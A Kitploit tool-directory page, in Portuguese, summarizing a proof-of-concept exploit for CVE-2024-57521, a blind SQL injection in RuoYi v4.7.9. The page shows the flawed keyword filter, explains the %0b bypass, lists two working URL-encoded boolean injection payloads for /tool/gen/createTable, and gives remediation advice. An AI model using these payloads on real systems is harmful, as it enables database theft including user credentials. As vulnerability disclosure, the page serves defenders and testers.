Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-57521-SQL-Injection-PoC — Exploit de prova de conceito de injeção SQL cega para RuoYi v4.7.9, contornando o filtro CVE-2024-42900 para despejar bancos de dados via injeção booleana autenticada. | Kitploit
Ferramentas/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

Exploit de prova de conceito de injeção SQL cega para RuoYi v4.7.9, contornando o filtro CVE-2024-42900 para despejar bancos de dados via injeção booleana autenticada.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
2há 8 mesesAinda não revisado

Injeção SQL Autenticada no RuoYi v4.7.9 (Bypass do CVE-2024-42900)

Introdução

Descobri uma vulnerabilidade de Injeção SQL Cega (Blind SQL Injection) no recurso createTable do RuoYi Framework v4.7.9. Isso permite que um administrador autenticado execute comandos SQL arbitrários por meio do parâmetro sql. Trata-se de um bypass da correção do CVE-2024-42900, pois o filtro de Injeção SQL no método filterKeyword é insuficiente; o regex pode ser contornado usando %0b como caractere alternativo aos espaços.

Versão Afetada

Produto: RuoYi Framework
Versão: ≤ 4.7.9
Link: [Ruoyi]

Análise da Vulnerabilidade

A vulnerabilidade foi encontrada no arquivo https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java, conforme abaixo. O aplicativo depende de palavras-chave em lista negra para filtrar ataques de Injeção SQL; essa abordagem está sujeita a bypass. Neste caso, para corrigir o CVE-2024-42900, a string /* foi adicionada à lista negra, mas o aplicativo ainda não bloqueia o caractere %0b, então posso usá-lo para acionar a Injeção SQL com select%0b.

root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

O regex de select corresponde a select (seguido de um espaço). Ele não corresponde a select%0b, que é um separador válido em SQL.

Passos para Reproduzir a Injeção SQL Booleana

  1. Faça login como admin
  2. Envie a requisição createTable (endpoint vulnerável /tool/gen/createTable)
    a. Injete uma consulta TRUE: true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. Injete uma consulta FALSE: false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

Atenção: É necessário alterar o nome da tabela (tablename) na consulta CREATE após cada consulta bem-sucedida. 3. Com a Injeção SQL baseada em booleano, os dados podem ser exfiltrados usando o [poc] em Python neste repositório
Uso
poc-usage
PoC para exfiltrar a versão do banco de dados
poc-db-version

Impacto

Um atacante com privilégio administrativo pode extrair (dump) todo o banco de dados, incluindo credenciais de outros usuários e configurações do sistema.

Recomendações

  1. Filtre o caractere %0b.
  2. Filtre a palavra-chave select em vez de select (remova o espaço no final).
  3. Atualize o CMS para a versão 4.8.0 do RuoYi CMS.
Baixar ferramenta